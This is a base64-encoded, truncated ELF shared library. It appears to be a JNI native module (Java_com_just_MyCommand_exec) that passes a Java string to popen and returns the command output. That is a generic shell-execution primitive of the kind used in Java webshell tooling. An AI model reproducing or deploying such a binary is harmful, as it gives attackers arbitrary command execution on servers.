UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBY2dBQUFSc0RPMGdBQUFBSUFBQUFIUEQvLzJRQUFBRDg4UC8vakFBQUFBengvLytrQUFBQWxmTC8veHdCQUFBSjlQLy9SQUVBQUZiMC8vOWtBUUFBY1BULy83d0FBQUNrOVAvLzNBQUFBQlFBQUFBQUFBQUFBWHBTQUFGNEVBRWJEQWNJa0FFQUFDUUFBQUFjQUFBQXNPLy8vK0FBQUFBQURoQkdEaGhLRHd0M0NJQUFQeG82S2pNa0lnQUFBQUFVQUFBQVJBQUFBR2p3Ly84UUFBQUFBQUFBQUFBQUFBQVVBQUFBWEFBQUFHRHcvLy9RQUFBQUFBQUFBQUFBQUFBY0FBQUFkQUFBQUt6ei8vODBBQUFBQUVVT0VJWUNRdzBHYXd3SENBQUFBQndBQUFDVUFBQUF3UFAvL3owQUFBQUFSUTRRaGdKRERRWjBEQWNJQUFBQUhBQUFBQUFBQUFBQmVsQk1VZ0FCZUJBSG0zVWZBQUFiR3d3SENKQUJBQUFrQUFBQUpBQUFBSEh4Ly85MEFRQUFCRnNBQUFCRkRoQ0dBa01OQmtpREF3TmpBUXdIQ0FBQUhBQUFBUHdBQUFDOTh2Ly9UUUFBQUFCRkRoQ0dBa01OQmdKRURBY0lBQUFjQUFBQUhBRUFBT3J5Ly84WkFBQUFBRVVPRUlZQ1F3MEdVQXdIQ0FBQUFBQUFBQUQvL3dFUFhTSUFBTGtCWGNRQ0FPQUNCUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ1FFZ0FBQUFBQUFGb1VBQUFBQUFBQVVCSUFBQUFBQUFBQkFBQUFBQUFBQURBQ0FBQUFBQUFBQVFBQUFBQUFBQUEvQWdBQUFBQUFBQUVBQUFBQUFBQUFUUUlBQUFBQUFBQU1BQUFBQUFBQUFBQVFBQUFBQUFBQURRQUFBQUFBQUFEb0ZBQUFBQUFBQUJrQUFBQUFBQUFBNEQwQUFBQUFBQUFiQUFBQUFBQUFBQkFBQUFBQUFBQUFHZ0FBQUFBQUFBRHdQUUFBQUFBQUFCd0FBQUFBQUFBQUNBQUFBQUFBQUFEMS92OXZBQUFBQVBBQ0FBQUFBQUFBQlFBQUFBQUFBQUFZQlFBQUFBQUFBQVlBQUFBQUFBQUFJQU1BQUFBQUFBQUtBQUFBQUFBQUFKc0NBQUFBQUFBQUN3QUFBQUFBQUFBWUFBQUFBQUFBQUFNQUFBQUFBQUFBQUVBQUFBQUFBQUFDQUFBQUFBQUFBRGdCQUFBQUFBQUFGQUFBQUFBQUFBQUhBQUFBQUFBQUFCY0FBQUFBQUFBQVlBa0FBQUFBQUFBSEFBQUFBQUFBQUhBSUFBQUFBQUFBQ0FBQUFBQUFBQUR3QUFBQUFBQUFBQWtBQUFBQUFBQUFHQUFBQUFBQUFBRCsvLzl2QUFBQUFPQUhBQUFBQUFBQS8vLy9id0FBQUFBREFBQUFBQUFBQVBELy8yOEFBQUFBdEFjQUFBQUFBQUQ1Ly85dkFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBK0QwQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQkFBQUFBQUFBQkFFQUFBQUFBQUFGQVFBQUFBQUFBQVlCQUFBQUFBQUFCd0VBQUFBQUFBQUlBUUFBQUFBQUFBa0JBQUFBQUFBQUNnRUFBQUFBQUFBTEFRQUFBQUFBQUF3QkFBQUFBQUFBRFFFQUFBQUFBQUFPQVFBQUFBQUFBQThCQUFBQUFBQUFDQVFBQUFBQUFBQUFBQUFBQUFBQUFBUjBORE9pQW9WV0oxYm5SMUlEa3VOQzR3TFRGMVluVnVkSFV4ZmpJd0xqQTBMaklwSURrdU5DNHdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFBUUNvQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUFnRElBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQXdEd0FnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFCQUFnQXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUJRQVlCUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQmdDMEJ3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFCd0RnQndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUNBQndDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQ1FCZ0NRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFDZ0FBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUN3QWdFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BREFBQUVRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFEUUFRRVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQURnRGdFUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRHdEb0ZBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFFQUFBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUVRQUVJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRWdCUUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFFd0NNSVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUZBRGdQUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRlFEd1BRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFGZ0Q0UFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUZ3RFlQd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BR0FBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFHUUNBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUdnQ1FRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BR3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBUUE4ZjhBQUFBQUFBQUFBQUFBQUFBQUFBQUFEQUFBQUFJQURnRGdFUUFBQUFBQUFBQUFBQUFBQUFBQURnQUFBQUlBRGdBUUVnQUFBQUFBQUFBQUFBQUFBQUFBSVFBQUFBSUFEZ0JRRWdBQUFBQUFBQUFBQUFBQUFBQUFOd0FBQUFFQUdnQ1FRQUFBQUFBQUFBRUFBQUFBQUFBQVJnQUFBQUVBRlFEd1BRQUFBQUFBQUFBQUFBQUFBQUFBYlFBQUFBSUFEZ0NRRWdBQUFBQUFBQUFBQUFBQUFBQUFlUUFBQUFFQUZBRGdQUUFBQUFBQUFBQUFBQUFBQUFBQUFRRUFBQVFBOGY4QUFBQUFBQUFBQUFBQUFBQUFBQUFBbUFBQUFBRUFFQUFBSUFBQUFBQUFBQUVBQUFBQUFBQUFzd0FBQUFFQUdnQ1JRQUFBQUFBQUFBRUFBQUFBQUFBQXdnQUFBQUlBRGdBTkZBQUFBQUFBQUUwQUFBQUFBQUFBOGdBQUFBSUFEZ0JhRkFBQUFBQUFBQmtBQUFBQUFBQUFBUUFBQUFRQThmOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUR3RUFBQUVBRWdDSUlRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUE4ZjhBQUFBQUFBQUFBQUFBQUFBQUFBQUFIUUVBQUFBQUVRQUVJQUFBQUFBQUFBQUFBQUFBQUFBQU1BRUFBQUVBR1FDQVFBQUFBQUFBQUFBQUFBQUFBQUFBUFFFQUFBRUFHUUNJUUFBQUFBQUFBQWdBQUFBQUFBQUFXUUVBQUFJQUR3RG9GQUFBQUFBQUFBQUFBQUFBQUFBQVh3RUFBQUlBQ2dBQUVBQUFBQUFBQUFBQUFBQUFBQUFBWlFFQUFBRUFGZ0Q0UFFBQUFBQUFBQUFBQUFBQUFBQUFiZ0VBQUFFQUdRQ1FRQUFBQUFBQUFBQUFBQUFBQUFBQWVnRUFBQUVBR0FBQVFBQUFBQUFBQUFBQUFBQUFBQUFBa0FFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFvd0VBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQThnRUFBQ0lBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRGdJQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFXQUlBQUNJQURnQ29GQUFBQUFBQUFEMEFBQUFBQUFBQWhBSUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBbmdJQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE2Z0lBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJnTUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVUFNQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFaQU1BQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWlRTUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBbkFNQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF2UU1BQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTJRTUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBOFFNQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUdnUUFBQ0lBRGdCMEZBQUFBQUFBQURRQUFBQUFBQUFBT0FRQUFCSUFEZ0NaRWdBQUFBQUFBSFFCQUFBQUFBQUFWUVFBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHTnlkSE4wZFdabUxtTUFaR1Z5WldkcGMzUmxjbDkwYlY5amJHOXVaWE1BWDE5a2IxOW5iRzlpWVd4ZlpIUnZjbk5mWVhWNEFHTnZiWEJzWlhSbFpDNDRNRFl4QUY5ZlpHOWZaMnh2WW1Gc1gyUjBiM0p6WDJGMWVGOW1hVzVwWDJGeWNtRjVYMlZ1ZEhKNUFHWnlZVzFsWDJSMWJXMTVBRjlmWm5KaGJXVmZaSFZ0YlhsZmFXNXBkRjloY25KaGVWOWxiblJ5ZVFCZldsTjBUREU1Y0dsbFkyVjNhWE5sWDJOdmJuTjBjblZqZEFCZldsTjBURGhmWDJsdmFXNXBkQUJmV2pReFgxOXpkR0YwYVdOZmFXNXBkR2xoYkdsNllYUnBiMjVmWVc1a1gyUmxjM1J5ZFdOMGFXOXVYekJwYVFCZlIweFBRa0ZNWDE5emRXSmZTVjlOZVVOdmJXMWhibVF1WTNCd0FGOWZSbEpCVFVWZlJVNUVYMThBWDE5SFRsVmZSVWhmUmxKQlRVVmZTRVJTQUY5ZlpITnZYMmhoYm1Sc1pRQkVWeTV5WldZdVgxOW5lSGhmY0dWeWMyOXVZV3hwZEhsZmRqQUFYMlpwYm1rQVgybHVhWFFBWDBSWlRrRk5TVU1BWDE5VVRVTmZSVTVFWDE4QVgwZE1UMEpCVEY5UFJrWlRSVlJmVkVGQ1RFVmZBSEJ2Y0dWdVFFQkhURWxDUTE4eUxqSXVOUUJmV2s1TFUzUTNYMTlqZUhneE1URXlZbUZ6YVdOZmMzUnlhVzVuU1dOVGRERXhZMmhoY2w5MGNtRnBkSE5KWTBWVFlVbGpSVVUxWTE5emRISkZka0JBUjB4SlFrTllXRjh6TGpRdU1qRUFYMTlqZUdGZlptbHVZV3hwZW1WQVFFZE1TVUpEWHpJdU1pNDFBRjlhVGxOME4xOWZZM2g0TVRFeE1tSmhjMmxqWDNOMGNtbHVaMGxqVTNReE1XTm9ZWEpmZEhKaGFYUnpTV05GVTJGSlkwVkZSREZGZGtCQVIweEpRa05ZV0Y4ekxqUXVNakVBWDFwT04wcE9TVVZ1ZGw4eE4wZGxkRk4wY21sdVoxVlVSa05vWVhKelJWQTRYMnB6ZEhKcGJtZFFhQUJmWDJONFlWOWhkR1Y0YVhSQVFFZE1TVUpEWHpJdU1pNDFBRjlhVGxOME4xOWZZM2g0TVRFeE1tSmhjMmxqWDNOMGNtbHVaMGxqVTNReE1XTm9ZWEpmZEhKaGFYUnpTV05GVTJGSlkwVkZjRXhGVUV0alFFQkhURWxDUTFoWVh6TXVOQzR5TVFCZlgzTjBZV05yWDJOb2ExOW1ZV2xzUUVCSFRFbENRMTh5TGpRQVgxcE9VM1EzWDE5amVIZ3hNVEV5WW1GemFXTmZjM1J5YVc1blNXTlRkREV4WTJoaGNsOTBjbUZwZEhOSlkwVlRZVWxqUlVWRE1VVjJRRUJIVEVsQ1ExaFlYek11TkM0eU1RQndZMnh2YzJWQVFFZE1TVUpEWHpJdU1pNDFBRjlhVGxOME9HbHZjMTlpWVhObE5FbHVhWFJETVVWMlFFQkhURWxDUTFoWVh6TXVOQUJtWjJWMGMwQkFSMHhKUWtOZk1pNHlMalVBWDE5bmVIaGZjR1Z5YzI5dVlXeHBkSGxmZGpCQVFFTllXRUZDU1Y4eExqTUFYMGxVVFY5a1pYSmxaMmx6ZEdWeVZFMURiRzl1WlZSaFlteGxBRjlWYm5kcGJtUmZVbVZ6ZFcxbFFFQkhRME5mTXk0d0FGOWZaMjF2Ymw5emRHRnlkRjlmQUY5SlZFMWZjbVZuYVhOMFpYSlVUVU5zYjI1bFZHRmliR1VBWDFwT04wcE9TVVZ1ZGw4eE1rNWxkMU4wY21sdVoxVlVSa1ZRUzJNQVNtRjJZVjlqYjIxZmFuVnpkRjlOZVVOdmJXMWhibVJmWlhobFl3QmZXazVUZERocGIzTmZZbUZ6WlRSSmJtbDBSREZGZGtCQVIweEpRa05ZV0Y4ekxqUUFBQzV6ZVcxMFlXSUFMbk4wY25SaFlnQXVjMmh6ZEhKMFlXSUFMbTV2ZEdVdVoyNTFMbkJ5YjNCbGNuUjVBQzV1YjNSbExtZHVkUzVpZFdsc1pDMXBaQUF1WjI1MUxtaGhjMmdBTG1SNWJuTjViUUF1WkhsdWMzUnlBQzVuYm5VdWRtVnljMmx2YmdBdVoyNTFMblpsY25OcGIyNWZjZ0F1Y21Wc1lTNWtlVzRBTG5KbGJHRXVjR3gwQUM1cGJtbDBBQzV3YkhRdVoyOTBBQzV3YkhRdWMyVmpBQzUwWlhoMEFDNW1hVzVwQUM1eWIyUmhkR0VBTG1Wb1gyWnlZVzFsWDJoa2NnQXVaV2hmWm5KaGJXVUFMbWRqWTE5bGVHTmxjSFJmZEdGaWJHVUFMbWx1YVhSZllYSnlZWGtBTG1acGJtbGZZWEp5WVhrQUxtUjVibUZ0YVdNQUxtZHZkQzV3YkhRQUxtUmhkR0VBTG1KemN3QXVZMjl0YldWdWRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCc0FBQUFIQUFBQUFnQUFBQUFBQUFDb0FnQUFBQUFBQUtnQ0FBQUFBQUFBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQXVBQUFBQndBQUFBSUFBQUFBQUFBQXlBSUFBQUFBQUFESUFnQUFBQUFBQUNRQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFRUUFBQVBiLy8yOENBQUFBQUFBQUFQQUNBQUFBQUFBQThBSUFBQUFBQUFBd0FBQUFBQUFBQUFRQUFBQUFBQUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBRXNBQUFBTEFBQUFBZ0FBQUFBQUFBQWdBd0FBQUFBQUFDQURBQUFBQUFBQStBRUFBQUFBQUFBRkFBQUFBUUFBQUFnQUFBQUFBQUFBR0FBQUFBQUFBQUJUQUFBQUF3QUFBQUlBQUFBQUFBQUFHQVVBQUFBQUFBQVlCUUFBQUFBQUFKc0NBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFBV3dBQUFQLy8vMjhDQUFBQUFBQUFBTFFIQUFBQUFBQUF0QWNBQUFBQUFBQXFBQUFBQUFBQUFBUUFBQUFBQUFBQUFnQUFBQUFBQUFBQ0FBQUFBQUFBQUdnQUFBRCsvLzl2QWdBQUFBQUFBQURnQndBQUFBQUFBT0FIQUFBQUFBQUFrQUFBQUFBQUFBQUZBQUFBQXdBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQU